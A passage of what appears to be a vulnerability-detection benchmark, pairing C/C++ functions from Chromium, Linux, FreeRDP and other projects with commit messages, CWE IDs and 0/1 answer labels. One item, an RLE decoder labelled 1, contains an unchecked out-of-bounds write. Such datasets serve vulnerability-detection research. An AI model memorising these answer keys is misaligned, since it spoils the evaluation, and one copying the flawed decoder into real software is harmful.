const Extension* extension =
extensions_service->GetExtensionById(app_id, false);
if (!extension)
return false;
extension_misc::LaunchContainer launch_container =
extensions_service->extension_prefs()->GetLaunchContainer(
extension, ExtensionPrefs::LAUNCH_WINDOW);
*out_extension = extension;
*out_launch_container = launch_container;
return true;
}
Commit Message: chromeos: Move audio, power, and UI files into subdirs.
This moves more files from chrome/browser/chromeos/ into
subdirectories.
BUG=chromium-os:22896
TEST=did chrome os builds both with and without aura
TBR=sky
Review URL: http://codereview.chromium.org/9125006
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@116746 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 109,370 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int param_set_mode(const char *val, struct kernel_param *kp)
{
int i;
if (!capable(CAP_MAC_ADMIN))
return -EPERM;
if (!apparmor_enabled)
return -EINVAL;
if (!val)
return -EINVAL;
for (i = 0; i < APPARMOR_MODE_NAMES_MAX_INDEX; i++) {
if (strcmp(val, aa_profile_mode_names[i]) == 0) {
aa_g_profile_mode = i;
return 0;
}
}
return -EINVAL;
}
Commit Message: apparmor: fix oops, validate buffer size in apparmor_setprocattr()
When proc_pid_attr_write() was changed to use memdup_user apparmor's
(interface violating) assumption that the setprocattr buffer was always
a single page was violated.
The size test is not strictly speaking needed as proc_pid_attr_write()
will reject anything larger, but for the sake of robustness we can keep
it in.
SMACK and SELinux look safe to me, but somebody else should probably
have a look just in case.
Based on original patch from Vegard Nossum <vegard.nossum@oracle.com>
modified for the case that apparmor provides null termination.
Fixes: bb646cdb12e75d82258c2f2e7746d5952d3e321a
Reported-by: Vegard Nossum <vegard.nossum@oracle.com>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Cc: John Johansen <john.johansen@canonical.com>
Cc: Paul Moore <paul@paul-moore.com>
Cc: Stephen Smalley <sds@tycho.nsa.gov>
Cc: Eric Paris <eparis@parisplace.org>
Cc: Casey Schaufler <casey@schaufler-ca.com>
Cc: stable@kernel.org
Signed-off-by: John Johansen <john.johansen@canonical.com>
Reviewed-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: James Morris <james.l.morris@oracle.com>
CWE ID: CWE-119 | 0 | 51,106 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool V4L2JpegEncodeAccelerator::EncodedInstance::SetUpJpegParameters(
int quality,
gfx::Size coded_size) {
DCHECK(parent_->encoder_task_runner_->BelongsToCurrentThread());
struct v4l2_ext_controls ctrls;
struct v4l2_ext_control ctrl;
memset(&ctrls, 0, sizeof(ctrls));
memset(&ctrl, 0, sizeof(ctrl));
ctrls.ctrl_class = V4L2_CTRL_CLASS_JPEG;
ctrls.controls = &ctrl;
ctrls.count = 1;
switch (output_buffer_pixelformat_) {
case V4L2_PIX_FMT_JPEG_RAW:
FillQuantizationTable(quality, kDefaultQuantTable[0].value,
quantization_table_[0].value);
FillQuantizationTable(quality, kDefaultQuantTable[1].value,
quantization_table_[1].value);
ctrl.id = V4L2_CID_JPEG_LUMA_QUANTIZATION;
ctrl.size = kDctSize;
ctrl.ptr = quantization_table_[0].value;
IOCTL_OR_ERROR_RETURN_FALSE(VIDIOC_S_EXT_CTRLS, &ctrls);
ctrl.id = V4L2_CID_JPEG_CHROMA_QUANTIZATION;
ctrl.size = kDctSize;
ctrl.ptr = quantization_table_[1].value;
IOCTL_OR_ERROR_RETURN_FALSE(VIDIOC_S_EXT_CTRLS, &ctrls);
PrepareJpegMarkers(coded_size);
break;
default:
NOTREACHED();
}
return true;
}
Commit Message: media: remove base::SharedMemoryHandle usage in v4l2 encoder
This replaces a use of the legacy UnalignedSharedMemory ctor
taking a SharedMemoryHandle with the current ctor taking a
PlatformSharedMemoryRegion.
Bug: 849207
Change-Id: Iea24ebdcd941cf2fa97e19cf2aeac1a18f9773d9
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1697602
Commit-Queue: Matthew Cary (CET) <mattcary@chromium.org>
Reviewed-by: Ricky Liang <jcliang@chromium.org>
Cr-Commit-Position: refs/heads/master@{#681740}
CWE ID: CWE-20 | 0 | 136,068 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebLocalFrameImpl::DispatchMessageEventWithOriginCheck(
const WebSecurityOrigin& intended_target_origin,
const WebDOMEvent& event) {
DCHECK(!event.IsNull());
GetFrame()->DomWindow()->DispatchMessageEventWithOriginCheck(
intended_target_origin.Get(), event,
SourceLocation::Create(String(), 0, 0, nullptr));
}
Commit Message: Inherit CSP when we inherit the security origin
This prevents attacks that use main window navigation to get out of the
existing csp constraints such as the related bug
Bug: 747847
Change-Id: I1e57b50da17f65d38088205b0a3c7c49ef2ae4d8
Reviewed-on: https://chromium-review.googlesource.com/592027
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#492333}
CWE ID: CWE-732 | 0 | 134,283 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderFrameImpl::BindWidget(mojom::WidgetRequest request) {
GetLocalRootRenderWidget()->SetWidgetBinding(std::move(request));
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416 | 0 | 139,525 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool GLES2DecoderImpl::DoIsEnabled(GLenum cap) {
switch (cap) {
case GL_BLEND:
return enable_blend_;
case GL_CULL_FACE:
return enable_cull_face_;
case GL_SCISSOR_TEST:
return enable_scissor_test_;
case GL_DEPTH_TEST:
return enable_depth_test_;
case GL_STENCIL_TEST:
return enable_stencil_test_;
default:
return glIsEnabled(cap) != 0;
}
}
Commit Message: Fix SafeAdd and SafeMultiply
BUG=145648,145544
Review URL: https://chromiumcodereview.appspot.com/10916165
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@155478 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189 | 0 | 103,541 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: SYSCALL_DEFINE2(access, const char __user *, filename, int, mode)
{
return sys_faccessat(AT_FDCWD, filename, mode);
}
Commit Message: get rid of s_files and files_lock
The only thing we need it for is alt-sysrq-r (emergency remount r/o)
and these days we can do just as well without going through the
list of files.
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
CWE ID: CWE-17 | 0 | 46,141 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int vhost_add_used_n(struct vhost_virtqueue *vq, struct vring_used_elem *heads,
unsigned count)
{
int start, n, r;
start = vq->last_used_idx % vq->num;
n = vq->num - start;
if (n < count) {
r = __vhost_add_used_n(vq, heads, n);
if (r < 0)
return r;
heads += n;
count -= n;
}
r = __vhost_add_used_n(vq, heads, count);
/* Make sure buffer is written before we update index. */
smp_wmb();
if (put_user(vq->last_used_idx, &vq->used->idx)) {
vq_err(vq, "Failed to increment used idx");
return -EFAULT;
}
if (unlikely(vq->log_used)) {
/* Log used index update. */
log_write(vq->log_base,
vq->log_addr + offsetof(struct vring_used, idx),
sizeof vq->used->idx);
if (vq->log_ctx)
eventfd_signal(vq->log_ctx, 1);
}
return r;
}
Commit Message: vhost: fix length for cross region descriptor
If a single descriptor crosses a region, the
second chunk length should be decremented
by size translated so far, instead it includes
the full descriptor length.
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Acked-by: Jason Wang <jasowang@redhat.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: | 0 | 33,777 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static inline bool pv_eoi_enabled(struct kvm_vcpu *vcpu)
{
return vcpu->arch.pv_eoi.msr_val & KVM_MSR_ENABLED;
}
Commit Message: KVM: x86: fix guest-initiated crash with x2apic (CVE-2013-6376)
A guest can cause a BUG_ON() leading to a host kernel crash.
When the guest writes to the ICR to request an IPI, while in x2apic
mode the following things happen, the destination is read from
ICR2, which is a register that the guest can control.
kvm_irq_delivery_to_apic_fast uses the high 16 bits of ICR2 as the
cluster id. A BUG_ON is triggered, which is a protection against
accessing map->logical_map with an out-of-bounds access and manages
to avoid that anything really unsafe occurs.
The logic in the code is correct from real HW point of view. The problem
is that KVM supports only one cluster with ID 0 in clustered mode, but
the code that has the bug does not take this into account.
Reported-by: Lars Bull <larsbull@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: Gleb Natapov <gleb@redhat.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-189 | 0 | 28,790 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: Core::Core() {
handles_.reset(new HandleTable);
base::trace_event::MemoryDumpManager::GetInstance()->RegisterDumpProvider(
handles_.get(), "MojoHandleTable", nullptr);
}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <weili@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org>
Reviewed-by: Yuzhu Shen <yzshen@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Commit-Queue: Ken Rockot <rockot@chromium.org>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787 | 0 | 149,578 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int __init blk_scsi_ioctl_init(void)
{
blk_set_cmd_filter_defaults(&blk_default_cmd_filter);
return 0;
}
Commit Message: block: fail SCSI passthrough ioctls on partition devices
Linux allows executing the SG_IO ioctl on a partition or LVM volume, and
will pass the command to the underlying block device. This is
well-known, but it is also a large security problem when (via Unix
permissions, ACLs, SELinux or a combination thereof) a program or user
needs to be granted access only to part of the disk.
This patch lets partitions forward a small set of harmless ioctls;
others are logged with printk so that we can see which ioctls are
actually sent. In my tests only CDROM_GET_CAPABILITY actually occurred.
Of course it was being sent to a (partition on a) hard disk, so it would
have failed with ENOTTY and the patch isn't changing anything in
practice. Still, I'm treating it specially to avoid spamming the logs.
In principle, this restriction should include programs running with
CAP_SYS_RAWIO. If for example I let a program access /dev/sda2 and
/dev/sdb, it still should not be able to read/write outside the
boundaries of /dev/sda2 independent of the capabilities. However, for
now programs with CAP_SYS_RAWIO will still be allowed to send the
ioctls. Their actions will still be logged.
This patch does not affect the non-libata IDE driver. That driver
however already tests for bd != bd->bd_contains before issuing some
ioctl; it could be restricted further to forbid these ioctls even for
programs running with CAP_SYS_ADMIN/CAP_SYS_RAWIO.
Cc: linux-scsi@vger.kernel.org
Cc: Jens Axboe <axboe@kernel.dk>
Cc: James Bottomley <JBottomley@parallels.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
[ Make it also print the command name when warning - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264 | 0 | 94,358 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: weight3(int x)
{
if (x < 0.1)
return 0.1;
if (x < LOG_MIN)
return (double)x;
else
return LOG_MIN * (log((double)x / LOG_MIN) + 1.);
}
Commit Message: Prevent negative indent value in feed_table_block_tag()
Bug-Debian: https://github.com/tats/w3m/issues/88
CWE ID: CWE-835 | 0 | 84,659 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static inline bool drive_no_geom(int drive)
{
return !current_type[drive] && !ITYPE(UDRS->fd_device);
}
Commit Message: floppy: don't write kernel-only members to FDRAWCMD ioctl output
Do not leak kernel-only floppy_raw_cmd structure members to userspace.
This includes the linked-list pointer and the pointer to the allocated
DMA space.
Signed-off-by: Matthew Daley <mattd@bugfuzz.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264 | 0 | 39,343 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void LayerTreeHostImpl::BeginCommit() {
TRACE_EVENT0("cc", "LayerTreeHostImpl::BeginCommit");
if (compositor_frame_sink_)
compositor_frame_sink_->ForceReclaimResources();
if (!CommitToActiveTree())
CreatePendingTree();
}
Commit Message: (Reland) Discard compositor frames from unloaded web content
This is a reland of https://codereview.chromium.org/2707243005/ with a
small change to fix an uninitialized memory error that fails on MSAN
bots.
BUG=672847
TBR=danakj@chromium.org, creis@chromium.org
CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2731283003
Cr-Commit-Position: refs/heads/master@{#454954}
CWE ID: CWE-362 | 0 | 137,219 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ass_pre_blur1_vert_c(int16_t *dst, const int16_t *src,
uintptr_t src_width, uintptr_t src_height)
{
uintptr_t dst_height = src_height + 2;
uintptr_t step = STRIPE_WIDTH * src_height;
for (uintptr_t x = 0; x < src_width; x += STRIPE_WIDTH) {
uintptr_t offs = 0;
for (uintptr_t y = 0; y < dst_height; ++y) {
const int16_t *p1 = get_line(src, offs - 2 * STRIPE_WIDTH, step);
const int16_t *z0 = get_line(src, offs - 1 * STRIPE_WIDTH, step);
const int16_t *n1 = get_line(src, offs - 0 * STRIPE_WIDTH, step);
for (int k = 0; k < STRIPE_WIDTH; ++k)
dst[k] = pre_blur1_func(p1[k], z0[k], n1[k]);
dst += STRIPE_WIDTH;
offs += STRIPE_WIDTH;
}
src += step;
}
}
Commit Message: Fix blur coefficient calculation buffer overflow
Found by fuzzer test case id:000082,sig:11,src:002579,op:havoc,rep:8.
Correctness should be checked, but this fixes the overflow for good.
CWE ID: CWE-119 | 0 | 73,317 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static ALWAYS_INLINE float textWidth(RenderText* text, unsigned from, unsigned len, const Font& font, float xPos, bool isFixedPitch, bool collapseWhiteSpace, HashSet<const SimpleFontData*>* fallbackFonts = 0, TextLayout* layout = 0)
{
GlyphOverflow glyphOverflow;
if (isFixedPitch || (!from && len == text->textLength()) || text->style()->hasTextCombine())
return text->width(from, len, font, xPos, fallbackFonts, &glyphOverflow);
if (layout)
return Font::width(*layout, from, len, fallbackFonts);
TextRun run = RenderBlock::constructTextRun(text, font, text, from, len, text->style());
run.setCharactersLength(text->textLength() - from);
ASSERT(run.charactersLength() >= run.length());
run.setCharacterScanForCodePath(!text->canUseSimpleFontCodePath());
run.setTabSize(!collapseWhiteSpace, text->style()->tabSize());
run.setXPos(xPos);
return font.width(run, fallbackFonts, &glyphOverflow);
}
Commit Message: Update containtingIsolate to go back all the way to top isolate from current root, rather than stopping at the first isolate it finds. This works because the current root is always updated with each isolate run.
BUG=279277
Review URL: https://chromiumcodereview.appspot.com/23972003
git-svn-id: svn://svn.chromium.org/blink/trunk@157268 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 111,428 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void check_sync_rss_stat(struct task_struct *task)
{
}
Commit Message: mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode
commit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream.
In some cases it may happen that pmd_none_or_clear_bad() is called with
the mmap_sem hold in read mode. In those cases the huge page faults can
allocate hugepmds under pmd_none_or_clear_bad() and that can trigger a
false positive from pmd_bad() that will not like to see a pmd
materializing as trans huge.
It's not khugepaged causing the problem, khugepaged holds the mmap_sem
in write mode (and all those sites must hold the mmap_sem in read mode
to prevent pagetables to go away from under them, during code review it
seems vm86 mode on 32bit kernels requires that too unless it's
restricted to 1 thread per process or UP builds). The race is only with
the huge pagefaults that can convert a pmd_none() into a
pmd_trans_huge().
Effectively all these pmd_none_or_clear_bad() sites running with
mmap_sem in read mode are somewhat speculative with the page faults, and
the result is always undefined when they run simultaneously. This is
probably why it wasn't common to run into this. For example if the
madvise(MADV_DONTNEED) runs zap_page_range() shortly before the page
fault, the hugepage will not be zapped, if the page fault runs first it
will be zapped.
Altering pmd_bad() not to error out if it finds hugepmds won't be enough
to fix this, because zap_pmd_range would then proceed to call
zap_pte_range (which would be incorrect if the pmd become a
pmd_trans_huge()).
The simplest way to fix this is to read the pmd in the local stack
(regardless of what we read, no need of actual CPU barriers, only
compiler barrier needed), and be sure it is not changing under the code
that computes its value. Even if the real pmd is changing under the
value we hold on the stack, we don't care. If we actually end up in
zap_pte_range it means the pmd was not none already and it was not huge,
and it can't become huge from under us (khugepaged locking explained
above).
All we need is to enforce that there is no way anymore that in a code
path like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad
can run into a hugepmd. The overhead of a barrier() is just a compiler
tweak and should not be measurable (I only added it for THP builds). I
don't exclude different compiler versions may have prevented the race
too by caching the value of *pmd on the stack (that hasn't been
verified, but it wouldn't be impossible considering
pmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines
and there's no external function called in between pmd_trans_huge and
pmd_none_or_clear_bad).
if (pmd_trans_huge(*pmd)) {
if (next-addr != HPAGE_PMD_SIZE) {
VM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));
split_huge_page_pmd(vma->vm_mm, pmd);
} else if (zap_huge_pmd(tlb, vma, pmd, addr))
continue;
/* fall through */
}
if (pmd_none_or_clear_bad(pmd))
Because this race condition could be exercised without special
privileges this was reported in CVE-2012-1179.
The race was identified and fully explained by Ulrich who debugged it.
I'm quoting his accurate explanation below, for reference.
====== start quote =======
mapcount 0 page_mapcount 1
kernel BUG at mm/huge_memory.c:1384!
At some point prior to the panic, a "bad pmd ..." message similar to the
following is logged on the console:
mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).
The "bad pmd ..." message is logged by pmd_clear_bad() before it clears
the page's PMD table entry.
143 void pmd_clear_bad(pmd_t *pmd)
144 {
-> 145 pmd_ERROR(*pmd);
146 pmd_clear(pmd);
147 }
After the PMD table entry has been cleared, there is an inconsistency
between the actual number of PMD table entries that are mapping the page
and the page's map count (_mapcount field in struct page). When the page
is subsequently reclaimed, __split_huge_page() detects this inconsistency.
1381 if (mapcount != page_mapcount(page))
1382 printk(KERN_ERR "mapcount %d page_mapcount %d\n",
1383 mapcount, page_mapcount(page));
-> 1384 BUG_ON(mapcount != page_mapcount(page));
The root cause of the problem is a race of two threads in a multithreaded
process. Thread B incurs a page fault on a virtual address that has never
been accessed (PMD entry is zero) while Thread A is executing an madvise()
system call on a virtual address within the same 2 MB (huge page) range.
virtual address space
.---------------------.
| |
| |
.-|---------------------|
| | |
| | |<-- B(fault)
| | |
2 MB | |/////////////////////|-.
huge < |/////////////////////| > A(range)
page | |/////////////////////|-'
| | |
| | |
'-|---------------------|
| |
| |
'---------------------'
- Thread A is executing an madvise(..., MADV_DONTNEED) system call
on the virtual address range "A(range)" shown in the picture.
sys_madvise
// Acquire the semaphore in shared mode.
down_read(¤t->mm->mmap_sem)
...
madvise_vma
switch (behavior)
case MADV_DONTNEED:
madvise_dontneed
zap_page_range
unmap_vmas
unmap_page_range
zap_pud_range
zap_pmd_range
//
// Assume that this huge page has never been accessed.
// I.e. content of the PMD entry is zero (not mapped).
//
if (pmd_trans_huge(*pmd)) {
// We don't get here due to the above assumption.
}
//
// Assume that Thread B incurred a page fault and
.---------> // sneaks in here as shown below.
| //
| if (pmd_none_or_clear_bad(pmd))
| {
| if (unlikely(pmd_bad(*pmd)))
| pmd_clear_bad
| {
| pmd_ERROR
| // Log "bad pmd ..." message here.
| pmd_clear
| // Clear the page's PMD entry.
| // Thread B incremented the map count
| // in page_add_new_anon_rmap(), but
| // now the page is no longer mapped
| // by a PMD entry (-> inconsistency).
| }
| }
|
v
- Thread B is handling a page fault on virtual address "B(fault)" shown
in the picture.
...
do_page_fault
__do_page_fault
// Acquire the semaphore in shared mode.
down_read_trylock(&mm->mmap_sem)
...
handle_mm_fault
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))
// We get here due to the above assumption (PMD entry is zero).
do_huge_pmd_anonymous_page
alloc_hugepage_vma
// Allocate a new transparent huge page here.
...
__do_huge_pmd_anonymous_page
...
spin_lock(&mm->page_table_lock)
...
page_add_new_anon_rmap
// Here we increment the page's map count (starts at -1).
atomic_set(&page->_mapcount, 0)
set_pmd_at
// Here we set the page's PMD entry which will be cleared
// when Thread A calls pmd_clear_bad().
...
spin_unlock(&mm->page_table_lock)
The mmap_sem does not prevent the race because both threads are acquiring
it in shared mode (down_read). Thread B holds the page_table_lock while
the page's map count and PMD table entry are updated. However, Thread A
does not synchronize on that lock.
====== end quote =======
[akpm@linux-foundation.org: checkpatch fixes]
Reported-by: Ulrich Obergfell <uobergfe@redhat.com>
Signed-off-by: Andrea Arcangeli <aarcange@redhat.com>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Cc: Mel Gorman <mgorman@suse.de>
Cc: Hugh Dickins <hughd@google.com>
Cc: Dave Jones <davej@redhat.com>
Acked-by: Larry Woodman <lwoodman@redhat.com>
Acked-by: Rik van Riel <riel@redhat.com>
Cc: Mark Salter <msalter@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264 | 0 | 21,208 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool IsTabDiscarded(content::WebContents* content) {
return TabLifecycleUnitExternal::FromWebContents(content)->IsDiscarded();
}
Commit Message: Connect the LocalDB to TabManager.
Bug: 773382
Change-Id: Iec8fe5226ee175105d51f300f30b4865478ac099
Reviewed-on: https://chromium-review.googlesource.com/1118611
Commit-Queue: Sébastien Marchand <sebmarchand@chromium.org>
Reviewed-by: François Doray <fdoray@chromium.org>
Cr-Commit-Position: refs/heads/master@{#572871}
CWE ID: | 0 | 132,155 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void nsc_rle_decompress_data(NSC_CONTEXT* context)
{
UINT16 i;
BYTE* rle;
UINT32 planeSize;
UINT32 originalSize;
rle = context->Planes;
for (i = 0; i < 4; i++)
{
originalSize = context->OrgByteCount[i];
planeSize = context->PlaneByteCount[i];
if (planeSize == 0)
FillMemory(context->priv->PlaneBuffers[i], originalSize, 0xFF);
else if (planeSize < originalSize)
nsc_rle_decode(rle, context->priv->PlaneBuffers[i], originalSize);
else
CopyMemory(context->priv->PlaneBuffers[i], rle, originalSize);
rle += planeSize;
}
}
Commit Message: Fixed CVE-2018-8788
Thanks to Eyal Itkin from Check Point Software Technologies.
CWE ID: CWE-787 | 1 | 169,285 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ofproto_set_flow_restore_wait(bool flow_restore_wait_db)
{
flow_restore_wait = flow_restore_wait_db;
}
Commit Message: ofproto: Fix OVS crash when reverting old flows in bundle commit
During bundle commit flows which are added in bundle are applied
to ofproto in-order. In case if a flow cannot be added (e.g. flow
action is go-to group id which does not exist), OVS tries to
revert back all previous flows which were successfully applied
from the same bundle. This is possible since OVS maintains list
of old flows which were replaced by flows from the bundle.
While reinserting old flows ovs asserts due to check on rule
state != RULE_INITIALIZED. This will work only for new flows, but
for old flow the rule state will be RULE_REMOVED. This is causing
an assert and OVS crash.
The ovs assert check should be modified to != RULE_INSERTED to prevent
any existing rule being re-inserted and allow new rules and old rules
(in case of revert) to get inserted.
Here is an example to trigger the assert:
$ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev
$ cat flows.txt
flow add table=1,priority=0,in_port=2,actions=NORMAL
flow add table=1,priority=0,in_port=3,actions=NORMAL
$ ovs-ofctl dump-flows -OOpenflow13 br-test
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL
$ cat flow-modify.txt
flow modify table=1,priority=0,in_port=2,actions=drop
flow modify table=1,priority=0,in_port=3,actions=group:10
$ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13
First flow rule will be modified since it is a valid rule. However second
rule is invalid since no group with id 10 exists. Bundle commit tries to
revert (insert) the first rule to old flow which results in ovs_assert at
ofproto_rule_insert__() since old rule->state = RULE_REMOVED.
Signed-off-by: Vishal Deep Ajmera <vishal.deep.ajmera@ericsson.com>
Signed-off-by: Ben Pfaff <blp@ovn.org>
CWE ID: CWE-617 | 0 | 77,384 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: FindBar* TestBrowserWindow::CreateFindBar() {
return NULL;
}
Commit Message: Mac: turn popups into new tabs while in fullscreen.
It's platform convention to show popups as new tabs while in
non-HTML5 fullscreen. (Popups cause tabs to lose HTML5 fullscreen.)
This was implemented for Cocoa in a BrowserWindow override, but
it makes sense to just stick it into Browser and remove a ton
of override code put in just to support this.
BUG=858929, 868416
TEST=as in bugs
Change-Id: I43471f242813ec1159d9c690bab73dab3e610b7d
Reviewed-on: https://chromium-review.googlesource.com/1153455
Reviewed-by: Sidney San Martín <sdy@chromium.org>
Commit-Queue: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#578755}
CWE ID: CWE-20 | 0 | 155,300 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Document::DispatchUnloadEvents() {
PluginScriptForbiddenScope forbid_plugin_destructor_scripting;
if (parser_)
parser_->StopParsing();
if (load_event_progress_ == kLoadEventNotRun)
return;
if (load_event_progress_ <= kUnloadEventInProgress) {
Element* current_focused_element = FocusedElement();
if (isHTMLInputElement(current_focused_element))
toHTMLInputElement(*current_focused_element).EndEditing();
if (load_event_progress_ < kPageHideInProgress) {
load_event_progress_ = kPageHideInProgress;
if (LocalDOMWindow* window = domWindow())
window->DispatchEvent(
PageTransitionEvent::Create(EventTypeNames::pagehide, false), this);
if (!frame_)
return;
PageVisibilityState visibility_state = GetPageVisibilityState();
load_event_progress_ = kUnloadVisibilityChangeInProgress;
if (visibility_state != kPageVisibilityStateHidden) {
DispatchEvent(Event::CreateBubble(EventTypeNames::visibilitychange));
DispatchEvent(
Event::CreateBubble(EventTypeNames::webkitvisibilitychange));
}
if (!frame_)
return;
DocumentLoader* document_loader =
frame_->Loader().GetProvisionalDocumentLoader();
load_event_progress_ = kUnloadEventInProgress;
Event* unload_event(Event::Create(EventTypeNames::unload));
if (document_loader && !document_loader->GetTiming().UnloadEventStart() &&
!document_loader->GetTiming().UnloadEventEnd()) {
DocumentLoadTiming& timing = document_loader->GetTiming();
DCHECK(timing.NavigationStart());
timing.MarkUnloadEventStart();
frame_->DomWindow()->DispatchEvent(unload_event, this);
timing.MarkUnloadEventEnd();
} else {
frame_->DomWindow()->DispatchEvent(unload_event, frame_->GetDocument());
}
}
load_event_progress_ = kUnloadEventHandled;
}
if (!frame_)
return;
bool keep_event_listeners =
frame_->Loader().GetProvisionalDocumentLoader() &&
frame_->ShouldReuseDefaultView(
frame_->Loader().GetProvisionalDocumentLoader()->Url());
if (!keep_event_listeners)
RemoveAllEventListenersRecursively();
}
Commit Message: Inherit CSP when we inherit the security origin
This prevents attacks that use main window navigation to get out of the
existing csp constraints such as the related bug
Bug: 747847
Change-Id: I1e57b50da17f65d38088205b0a3c7c49ef2ae4d8
Reviewed-on: https://chromium-review.googlesource.com/592027
Reviewed-by: Mike West <mkwst@chromium.org>
